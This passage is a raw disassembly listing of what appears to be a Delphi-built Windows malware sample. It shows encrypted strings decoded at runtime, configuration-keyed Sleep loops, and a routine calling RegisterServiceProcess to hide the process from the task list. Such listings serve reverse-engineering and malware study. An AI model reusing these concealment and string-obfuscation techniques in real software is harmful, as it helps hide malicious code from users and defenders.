		call	sub_412620
		push	ds:dword_41EEF0
		push	offset dword_41A098
		push	[ebp+var_2C]
		lea	eax, [ebp+var_264]
		mov	edx, 3
		call	sub_4037E4
		mov	edx, [ebp+var_264]
		mov	eax, ds:dword_41EF1C
		call	sub_412708
		mov	eax, ds:dword_41EF1C
		call	sub_412844
		mov	eax, ds:dword_41EF1C
		call	sub_412A08
		lea	ecx, [ebp+var_268]
		mov	edx, [ebp+var_54]
		mov	eax, ds:dword_41EF14
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edx, [ebp+var_268]
		mov	eax, [ebp+var_8]
		call	sub_403834
		jnz	short loc_419D08
		lea	ecx, [ebp+var_26C]
		xor	edx, edx
		mov	eax, offset aIlkimjdeiwMzxl ; "┴▀┼┬▄├└┘┴W}▄┤x▀G}├┘"
		call	sub_415FAC
		mov	ecx, [ebp+var_26C]
		mov	edx, [ebp+var_54]
		mov	eax, ds:dword_41EF14
		mov	ebx, [eax]
		call	dword ptr [ebx+20h]

loc_419D08:				; CODE XREF: sub_4190CC+C15j
		cmp	[ebp+var_54], 0
		jnz	short loc_419D50
		cmp	[ebp+var_34], 0
		jnz	short loc_419D50
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_54]
		mov	eax, ds:dword_41EF14
		mov	ebx, [eax]
		call	dword ptr [ebx+20h]
		push	1
		push	1
		lea	eax, [ebp+var_270]
		push	eax
		mov	ecx, offset dword_41A194
		mov	edx, offset aFb1bc ; "FB1BC"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		lea	eax, [ebp+var_34]
		mov	edx, offset dword_41A194
		call	sub_403560

loc_419D50:				; CODE XREF: sub_4190CC+C40j
					; sub_4190CC+C46j
		push	1
		push	1
		lea	eax, [ebp+var_274]
		push	eax
		mov	ecx, offset dword_41A5B8
		mov	edx, offset dword_41A548
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, ds:dword_41EF1C
		mov	eax, [eax+8]
		push	eax
		lea	ecx, [ebp+var_278]
		mov	edx, [ebp+var_54]
		mov	eax, ds:dword_41EF14
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edx, [ebp+var_278]
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		call	sub_413258
		test	al, al
		jz	loc_419F36
		push	0
		push	1
		lea	eax, [ebp+var_27C]
		push	eax
		xor	ecx, ecx
		mov	edx, offset dword_41A5C4
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_27C]
		lea	edx, [ebp+var_64]
		call	sub_402978
		mov	[ebp+var_64], eax
		inc	[ebp+var_64]
		lea	edx, [ebp+var_238]
		mov	eax, [ebp+var_64]
		call	sub_40296C
		lea	edx, [ebp+var_238]
		mov	eax, offset dword_41EEF4
		call	sub_4036EC
		push	1
		push	1
		lea	eax, [ebp+var_280]
		push	eax
		mov	ecx, ds:dword_41EEF4
		mov	edx, offset dword_41A5C4
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		inc	[ebp+var_6C]
		push	1
		push	1
		lea	eax, [ebp+var_284]
		push	eax
		mov	ecx, offset dword_41A5D0
		mov	edx, offset dword_41A548
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	0
		push	1
		lea	eax, [ebp+var_288]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFd11 ; "FD11"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_288]
		lea	edx, [ebp+var_68]
		call	sub_402978
		mov	[ebp+var_68], eax
		imul	eax, [ebp+var_68], 0EA60h
		push	eax
		call	j_Sleep
		push	1
		push	1
		lea	eax, [ebp+var_28C]
		push	eax
		lea	ecx, [ebp+var_290]
		mov	edx, [ebp+var_54]
		mov	eax, ds:dword_41EF14
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	ecx, [ebp+var_290]
		mov	edx, offset aFd10 ; "FD10"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		lea	edx, [ebp+var_238]
		mov	eax, [ebp+var_54]
		call	sub_40296C
		lea	edx, [ebp+var_238]
		mov	eax, offset dword_41EEF4
		call	sub_4036EC
		push	1
		push	1
		lea	eax, [ebp+var_294]
		push	eax
		mov	ecx, ds:dword_41EEF4
		mov	edx, offset aFc421 ; "FC421"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_54]
		cmp	eax, [ebp+var_50]
		jnz	short loc_419EF8
		mov	eax, offset dword_41EEF4
		mov	edx, offset dword_41A1A0
		call	sub_40351C
		jmp	short loc_419F16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419EF8:				; CODE XREF: sub_4190CC+E19j
		lea	edx, [ebp+var_238]
		mov	eax, [ebp+var_60]
		call	sub_40296C
		lea	edx, [ebp+var_238]
		mov	eax, offset dword_41EEF4
		call	sub_4036EC

loc_419F16:				; CODE XREF: sub_4190CC+E2Aj
		push	1
		push	1
		lea	eax, [ebp+var_298]
		push	eax
		mov	ecx, ds:dword_41EEF4
		mov	edx, offset aFc42 ; "FC42"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC

loc_419F36:				; CODE XREF: sub_4190CC+CD2j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_419F55

loc_419F43:				; CODE XREF: sub_4190CC+E87j
		mov	eax, ds:dword_41EF1C
		call	sub_402BDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419F4E:				; DATA XREF: sub_4190CC+AD5o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_419F43
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419F55:				; CODE XREF: sub_4190CC+965j
					; DATA XREF: sub_4190CC+E72o
		inc	[ebp+var_54]
		dec	[ebp+var_84]
		jnz	loc_419A08

loc_419F64:				; CODE XREF: sub_4190CC+92Cj
		inc	[ebp+var_48]
		dec	[ebp+var_80]
		jnz	loc_41996E

loc_419F70:				; CODE XREF: sub_4190CC+887j
					; sub_4190CC+892j
		mov	al, [ebp+var_79]
		call	sub_418EBC
		test	al, al
		jz	short loc_419F8B
		cmp	[ebp+var_60], 7
		jnz	short loc_419F92
		mov	[ebp+var_60], 1
		jmp	short loc_419F92
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419F8B:				; CODE XREF: sub_4190CC+EAEj
		mov	[ebp+var_60], 7

loc_419F92:				; CODE XREF: sub_4190CC+EB4j
					; sub_4190CC+EBDj
		inc	[ebp+var_60]
		cmp	[ebp+var_60], 7
		jle	loc_4198EA

loc_419F9F:				; CODE XREF: sub_4190CC+6B9j
					; sub_4190CC+818j
		mov	eax, ds:dword_41EF14
		call	sub_402BDC
		mov	eax, [ebp+var_74]
		call	sub_402BDC
		mov	eax, [ebp+var_78]
		call	sub_402BDC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41A01E

loc_419FC6:				; CODE XREF: CODE:0041A01Cj
		lea	eax, [ebp+var_298]
		mov	edx, 18h
		call	sub_4034EC
		lea	eax, [ebp+var_138]
		mov	edx, 15h
		call	sub_4034EC
		lea	eax, [ebp+var_D4]
		mov	edx, 0Eh
		call	sub_4034EC
		lea	eax, [ebp+var_44]
		mov	edx, ds:off_419060
		mov	ecx, 4
		call	sub_403BE8
		lea	eax, [ebp+var_34]
		mov	edx, 0Dh
		call	sub_4034EC
		retn
sub_4190CC	endp ; sp = -0E8h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A017:				; DATA XREF: sub_4190CC+13o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_419FC6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A01E:				; DATA XREF: sub_4190CC+EF5o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2Ch
aJqcjksgcpXeqdb	db '├÷≈і╙▒ё≈▐} ∙╔÷є║≥є█{║є√є║∙╔Rt⌠■║╗·╔R─▒÷⌠ ∙ё▌',0
					; DATA XREF: sub_4190CC+5Co
		align 4
		dd 0FFFFFFFFh, 14h
dword_41A064	dd 7B7F7D5Fh, 3A8D8490h, 86827968h, 7D7C593Bh, 8E878D8Ah
					; DATA XREF: sub_4190CC+86o
		dd 0, 0FFFFFFFFh, 9
dword_41A084	dd 7E717051h, 82827B85h, 6Ch, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+BAo
dword_41A098	dd 5Ch,	0FFFFFFFFh, 12h	; DATA XREF: sub_4190CC+CDo
					; sub_4190CC+8D0o ...
aLckh9Dyvv7yZiM	db 'lckh9[└y┌┌7Y}z┴}▄┴',0 ; DATA XREF: sub_4190CC+EFo
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_41A0C0	dd 61645C65h, 83756232h, 827488h, 0FFFFFFFFh, 11h
					; DATA XREF: sub_4190CC+119o
dword_41A0D4	dd 676A626Bh, 8A7F5938h, 90778188h, 84776338h, 7Dh, 0FFFFFFFFh
					; DATA XREF: sub_4190CC+143o
		dd 0Eh
dword_41A0F0	dd 78828485h, 428C797Eh, 42877783h, 8A82h, 0FFFFFFFFh
					; DATA XREF: sub_4190CC+164o
		dd 1
dword_41A108	dd 40h,	0FFFFFFFFh, 5	; DATA XREF: sub_4190CC+184o
aFb1bb_0	db 'FB1BB',0            ; DATA XREF: sub_4190CC+1B0o
		align 4
		dd 0FFFFFFFFh, 5
aFb1bc		db 'FB1BC',0            ; DATA XREF: sub_4190CC+1C9o
					; sub_4190CC+C68o
		align 4
		dd 0FFFFFFFFh, 5
aFb1ba_0	db 'FB1BA',0            ; DATA XREF: sub_4190CC+20Bo
		align 4
		dd 0FFFFFFFFh, 9
dword_41A144	dd 7A737C77h, 747C3B75h, 84h, 0FFFFFFFFh, 0Ah ;	DATA XREF: sub_4190CC+233o
dword_41A158	dd 717B7C76h, 7E3D7374h, 8276h,	0FFFFFFFFh, 11h	; DATA XREF: sub_4190CC+256o
aDxgXvaAdzzvddr	db '|└x┐}x┌─{─Dz┤┌D└░',0 ; DATA XREF: sub_4190CC+279o
		align 4
		dd 0FFFFFFFFh, 3
dword_41A188	dd 354446h, 0FFFFFFFFh,	1 ; DATA XREF: sub_4190CC+2E4o
dword_41A194	dd 31h,	0FFFFFFFFh, 1	; DATA XREF: sub_4190CC+2FCo
					; sub_4190CC+C63o ...
dword_41A1A0	dd 30h,	0FFFFFFFFh, 3	; DATA XREF: sub_4190CC+30Bo
					; sub_4190CC+E20o
dword_41A1AC	dd 364446h, 0FFFFFFFFh,	3 ; DATA XREF: sub_4190CC+323o
dword_41A1B8	dd 787A4Fh, 0FFFFFFFFh,	11h ; DATA XREF: sub_4190CC+3FFo
aDvx8xedz5Kmvi7	db '`└┌x8x┘└┤5{┼▄v┴7W',0 ; DATA XREF: sub_4190CC+420o
		align 4
		dd 0FFFFFFFFh, 1Ah
aOnt@cgmpfPtrmu	db 'o█▓@≈┐▄▐■>▐▓░▄⌠▐M>├▓┌│┬│■L',0 ; DATA XREF: sub_4190CC+42Fo
		align 4
		dd 0FFFFFFFFh, 37h
aTaKqiamApGApbg	db '▓═\╙÷╘═╛^═╞╠ё[²╞║ё╔Ёґ[╛·╟°\ўЁ═\╙ё[═╒╠[╟╡^╚╠╚╡╙\║ё[╡і╠╞²',0
					; DATA XREF: sub_4190CC+441o
		dd 0FFFFFFFFh, 33h
dword_41A244	dd 9EA8AA7Fh, 0A658A6ACh, 0AEA8579Fh, 0AC999B9Fh, 0AEB1985Ah
					; DATA XREF: sub_4190CC+464o
		dd 59AA989Eh, 59A6A69Dh, 9A58A39Fh, 0A2A09AACh,	0AA58A6B0h
		dd 0AD589CAFh, 9AA5579Fh, 0A79BA8h, 0FFFFFFFFh,	29h
aUaufvNgxmxdgbu	db 'u═·■╒°Nё∙M∙єё║⌠O∙═╒■P▌═▓≤√є·P·ё■P║⌠O²▌°⌠÷',0
					; DATA XREF: sub_4190CC+487o
		align 4
		dd 0FFFFFFFFh, 34h
aAlnqAmzadyinib	db '─╚ґ÷[²╛Z═єY⌡ґ⌡║ё╠їY²╙іYі°X╒╗║ї╚ї°⌡╒-╘X╙╞═Xі÷[╗··є╚ґ÷',0
					; DATA XREF: sub_4190CC+4AAo
		align 4
		dd 0FFFFFFFFh, 10h
a_66_gm6xjz6rgk	db '_}66_┐▄6x├z6░┐┼U',0 ; DATA XREF: sub_4190CC+4CFo
		align 4
		dd 0FFFFFFFFh, 15h
dword_41A310	dd 3B7F7E6Fh, 3B8F8895h, 808E7A88h, 6F3A478Eh, 86887A84h
					; DATA XREF: sub_4190CC+4DEo
		dd 8Fh,	0FFFFFFFFh, 31h
aBuiJsvZkvlauiw	db '│U╘°і≥V╟ї╙V╚═·╘W··╒°X·єWїї °╙U╙іX²≈ґ²U╞іґїV≤°╚÷ ²',0
					; DATA XREF: sub_4190CC+4F0o
		align 4
		dd 0FFFFFFFFh, 31h
aBuujiVZkvSgvqa	db '│U·і╗ V╟ї╙V ≥ёV÷²║іW╔ Vў║╘·W╛²÷╙X⌡÷ё²U╙÷≥╘V─X╗⌡╔°',0
					; DATA XREF: sub_4190CC+513o
		align 4
		dd 0FFFFFFFFh, 29h
aYmcuatniqvniss	db 'yM√·═▓N╗÷╒N⌡≥≤⌠Oє∙⌠O√√ ■P║√░єMwOё▓°⌠÷Mї·╔',0
					; DATA XREF: sub_4190CC+536o
		align 4
		dd 0FFFFFFFFh, 36h
aSvdpGoVaGgzbDE	db '▒╒є╞]ёў\╠╒═\ёёї║]╠є╟╔Z╞є╒Zє╙ё╘ґ╘·ўє╚╚Z╞є·ў[╣╛╞[²╟╔[╒╛╛',0
					; DATA XREF: sub_4190CC+559o
		align 4
		dd 0FFFFFFFFh, 3
dword_41A41C	dd 6C6A7Dh, 0FFFFFFFFh,	4 ; DATA XREF: sub_4190CC+5A5o
dword_41A428	dd 3041465Ch, 0, 0FFFFFFFFh, 8 ; DATA XREF: sub_4190CC+5BCo
					; sub_4190CC+855o
dword_41A438	dd 72707F6Bh, 7A79703Dh, 0, 0FFFFFFFFh,	4 ; DATA XREF: sub_4190CC+5F6o
aFb1b_0		db 'FB1B',0             ; DATA XREF: sub_4190CC+634o
		align 4
		dd 0FFFFFFFFh, 1
dword_41A45C	dd 32h,	0FFFFFFFFh, 4	; DATA XREF: sub_4190CC+64Eo
aFc43		db 'FC43',0             ; DATA XREF: sub_4190CC+653o
		align 4
		dd 0FFFFFFFFh, 3
dword_41A478	dd 344346h, 0FFFFFFFFh,	4 ; DATA XREF: sub_4190CC+66Fo
aFd11		db 'FD11',0             ; DATA XREF: sub_4190CC+6A8o
					; sub_4190CC+D75o
		align 4
		dd 0FFFFFFFFh, 3
dword_41A494	dd 6E707Ah, 0FFFFFFFFh,	3 ; DATA XREF: sub_4190CC+6DDo
dword_41A4A0	dd 737576h, 0FFFFFFFFh,	3 ; DATA XREF: sub_4190CC+6EDo
dword_41A4AC	dd 7C686Ch, 0FFFFFFFFh,	3 ; DATA XREF: sub_4190CC+6FDo
dword_41A4B8	dd 75766Dh, 0FFFFFFFFh,	1 ; DATA XREF: sub_4190CC+70Do
dword_41A4C4	dd 77h,	0FFFFFFFFh, 1	; DATA XREF: sub_4190CC+735o
					; sub_4190CC+745o ...
dword_41A4D0	dd 79h,	0FFFFFFFFh, 1	; DATA XREF: sub_4190CC+765o
dword_41A4DC	dd 68h,	0FFFFFFFFh, 1	; DATA XREF: sub_4190CC+775o
dword_41A4E8	dd 69h,	0FFFFFFFFh, 1	; DATA XREF: sub_4190CC+785o
dword_41A4F4	dd 74h,	0FFFFFFFFh, 4	; DATA XREF: sub_4190CC+795o
aFc42		db 'FC42',0             ; DATA XREF: sub_4190CC+7B4o
					; sub_4190CC+E5Bo
		align 4
		dd 0FFFFFFFFh, 5
aFc421		db 'FC421',0            ; DATA XREF: sub_4190CC+7F4o
					; sub_4190CC+E04o
		align 4
		dd 0FFFFFFFFh, 2
dword_41A520	dd 697Ch, 0FFFFFFFFh, 4	; DATA XREF: sub_4190CC+826o
a9luv_1		db '9luv',0             ; DATA XREF: sub_4190CC+8E6o
		align 4
		dd 0FFFFFFFFh, 1
dword_41A53C	dd 37h,	0FFFFFFFFh, 3	; DATA XREF: sub_4190CC+947o
dword_41A548	dd 334446h, 0FFFFFFFFh,	3 ; DATA XREF: sub_4190CC+94Co
					; sub_4190CC+C94o ...
dword_41A554	dd 6D7F6Fh, 0FFFFFFFFh,	1 ; DATA XREF: sub_4190CC+9FBo
dword_41A560	dd 2Eh,	0FFFFFFFFh, 1	; DATA XREF: sub_4190CC+A0Ao
					; sub_4190CC+B35o
dword_41A56C	dd 22h,	0FFFFFFFFh, 3	; DATA XREF: sub_4190CC+AE0o
dword_41A578	dd 3C2022h, 0FFFFFFFFh,	1 ; DATA XREF: sub_4190CC+AE8o
dword_41A584	dd 3Eh,	0FFFFFFFFh, 1	; DATA XREF: sub_4190CC+AF0o
dword_41A590	dd 20h,	0FFFFFFFFh, 13h	; DATA XREF: sub_4190CC+B75o
					; sub_4190CC+B8Do
aIlkimjdeiwMzxl	db '┴▀┼┬▄├└┘┴W}▄┤x▀G}├┘',0 ; DATA XREF: sub_4190CC+C1Fo
		dd 0FFFFFFFFh, 1
dword_41A5B8	dd 38h,	0FFFFFFFFh, 3	; DATA XREF: sub_4190CC+C8Fo
dword_41A5C4	dd 384346h, 0FFFFFFFFh,	1 ; DATA XREF: sub_4190CC+CE5o
					; sub_4190CC+D37o
dword_41A5D0	dd 39h,	0FFFFFFFFh, 4	; DATA XREF: sub_4190CC+D54o
aFd10		db 'FD10',0             ; DATA XREF: sub_4190CC+DC6o
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41A5E4	proc near		; CODE XREF: start+AB2p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		xor	eax, eax
		push	ebp
		push	offset loc_41A6FA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	0
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		xor	ecx, ecx
		mov	edx, offset dword_41A710
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_4]
		call	sub_402978
		mov	[ebp+var_4], eax
		cmp	ds:dword_41EF10, 1
		jnz	short loc_41A674
		lea	ecx, [ebp+var_C]
		xor	edx, edx
		mov	eax, offset dword_41A71C
		call	sub_415FAC
		mov	edx, [ebp+var_C]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		push	1
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_14]
		xor	edx, edx
		mov	eax, offset aEojeex9zakYlzl ; "]┘▌├┘┘x|9Z─┼~y▀┤▀▐"
		call	sub_415FAC
		mov	edx, [ebp+var_14]
		mov	ecx, ds:dword_41EEE4
		mov	eax, ds:dword_41EEF4
		call	sub_415EAC

loc_41A674:				; CODE XREF: sub_41A5E4+48j
		cmp	[ebp+var_4], 0
		jg	short loc_41A6C0
		cmp	ds:dword_41EF10, 2
		jl	short loc_41A6C0
		push	0
		push	1
		lea	eax, [ebp+var_18]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFc43_0 ; "FC43"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_18]
		call	sub_417F24
		push	1
		push	1
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_41A778
		mov	edx, offset dword_41A710
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC

loc_41A6C0:				; CODE XREF: sub_41A5E4+94j
					; sub_41A5E4+9Dj
		cmp	[ebp+var_4], 1
		jg	short loc_41A6DF
		cmp	ds:dword_41EF10, 2
		jl	short loc_41A6DF
		mov	al, 1
		call	sub_418EBC
		test	al, al
		jz	short loc_41A6DF
		call	sub_4190CC

loc_41A6DF:				; CODE XREF: sub_41A5E4+E0j
					; sub_41A5E4+E9j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41A701

loc_41A6EC:				; CODE XREF: CODE:0041A6FFj
		lea	eax, [ebp+var_1C]
		mov	edx, 6
		call	sub_4034EC
		retn
sub_41A5E4	endp ; sp = -54h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A6FA:				; DATA XREF: sub_41A5E4+Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41A6EC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A701:				; DATA XREF: sub_41A5E4+103o
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 3
dword_41A710	dd 344346h, 0FFFFFFFFh,	25h ; DATA XREF: sub_41A5E4+24o
					; sub_41A5E4+CDo
dword_41A71C	dd 9F90987Fh, 909C8AA3h, 8E937688h, 9A9D989Eh, 74869D92h
					; DATA XREF: sub_41A5E4+4Fo
		dd 9D8F9D9Ah, 4B9E8E9Ah, 979AA171h, 9D8F9B9Bh, 88h, 0FFFFFFFFh
		dd 12h
aEojeex9zakYlzl	db ']┘▌├┘┘x|9Z─┼~y▀┤▀▐',0 ; DATA XREF: sub_41A5E4+73o
		align 4
		dd 0FFFFFFFFh, 4
aFc43_0		db 'FC43',0             ; DATA XREF: sub_41A5E4+A9o
		align 4
		dd 0FFFFFFFFh, 1
dword_41A778	dd 31h			; DATA XREF: sub_41A5E4+C8o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41A77C	proc near		; CODE XREF: start+521p start+538p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_41A7D1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		test	ebx, ebx
		jle	short loc_41A7B1

loc_41A7A1:				; CODE XREF: sub_41A77C+33j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_41A7E8
		call	sub_40372C
		dec	ebx
		jnz	short loc_41A7A1

loc_41A7B1:				; CODE XREF: sub_41A77C+23j
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_40351C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41A7D8

loc_41A7C8:				; CODE XREF: CODE:0041A7D6j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_41A77C	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A7D1:				; DATA XREF: sub_41A77C+Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41A7C8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A7D8:				; DATA XREF: sub_41A77C+47o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_41A7E8	dd 20h			; DATA XREF: sub_41A77C+28o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_41A7EC	proc near		; CODE XREF: start+58p
		push	ecx
		mov	ecx, esp
		mov	edx, offset aRegisterservic ; "RegisterServiceProcess"
		mov	eax, offset dword_41A838
		call	sub_418E24
		cmp	al, 1
		jnz	short loc_41A80E
		push	1
		call	j_GetCurrentProcessId
		push	eax
		call	dword ptr [esp+8]

loc_41A80E:				; CODE XREF: sub_41A7EC+14j
		pop	edx
		retn
sub_41A7EC	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 16h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_41A7EC+3o
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_41A838	dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0 ;	DATA XREF: sub_41A7EC+8o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41A848	proc near		; DATA XREF: CODE:0041A9A0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_41A8CB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_41EEFC
		call	sub_4034C8
		mov	eax, offset dword_41EEF8
		call	sub_4034C8
		mov	eax, offset dword_41EEF4
		call	sub_4034C8
		mov	eax, offset dword_41EEF0
		call	sub_4034C8
		mov	eax, offset dword_41EEEC
		call	sub_4034C8
		mov	eax, offset dword_41EEE8
		call	sub_4034C8
		mov	eax, offset dword_41EEE4
		call	sub_4034C8
		mov	eax, offset dword_41EEE0
		call	sub_4034C8
		mov	eax, offset dword_41EEDC
		call	sub_4034C8
		mov	eax, offset dword_41EED8
		call	sub_4034C8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41A8D2

locret_41A8CA:				; CODE XREF: sub_41A848+88j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A8CB:				; DATA XREF: sub_41A848+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_41A8CA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41A8D2:				; CODE XREF: sub_41A848+82j
					; DATA XREF: sub_41A848+7Do
		pop	ebp
		retn
sub_41A848	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
dword_41A8D4	dd 19h			; DATA XREF: start+13o
		dd offset off_41A8DC
off_41A8DC	dd offset loc_405AE4	; DATA XREF: CODE:0041A8D8o
		dd offset sub_405AB4
		dd offset sub_405880
		dd offset sub_405818
		dd offset loc_405EEC
		dd offset sub_405EBC
		dd offset loc_40B384
		dd offset sub_40B354
		dd offset loc_40B3BC
		dd offset sub_40B38C
		dd offset loc_4061BC
		dd offset sub_40618C
		dd offset sub_40B2D4
		dd offset sub_40B194
		dd offset loc_40B4A4
		dd offset sub_40B474
		dd offset loc_40B528
		dd offset sub_40B4D8
		dd offset byte_40E488
		dd offset sub_40E3D0
		dd offset loc_40E55C
		dd offset sub_40E514
		dd offset loc_40EB54
		dd offset sub_40EB0C
		dd offset loc_40EB94
		dd offset sub_40EB64
		dd offset loc_40F378
		dd offset sub_40F348
		dd offset loc_40F684
		dd offset sub_40F654
		dd offset loc_40F784
		dd offset sub_40F754
		dd offset loc_410E88
		dd offset sub_410E58
		dd offset loc_410EE4
		dd offset sub_410EB4
		dd offset loc_41163C
		dd offset sub_4115E0
		dd offset loc_412484
		dd offset sub_41243C
		dd offset loc_412CB0
		dd offset sub_412C80
		dd offset loc_413398
		dd offset sub_413368
		dd offset byte_415D70
		dd offset sub_415C9C
		dd offset loc_415EA4
		dd offset sub_415E74
		align 8
		dd offset sub_41A848
		assume ds:nothing

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

		public start
start		proc near

var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= byte ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1E4		= byte ptr -1E4h
var_1E0		= byte ptr -1E0h
var_1DC		= byte ptr -1DCh
var_1D8		= byte ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_1C4		= byte ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
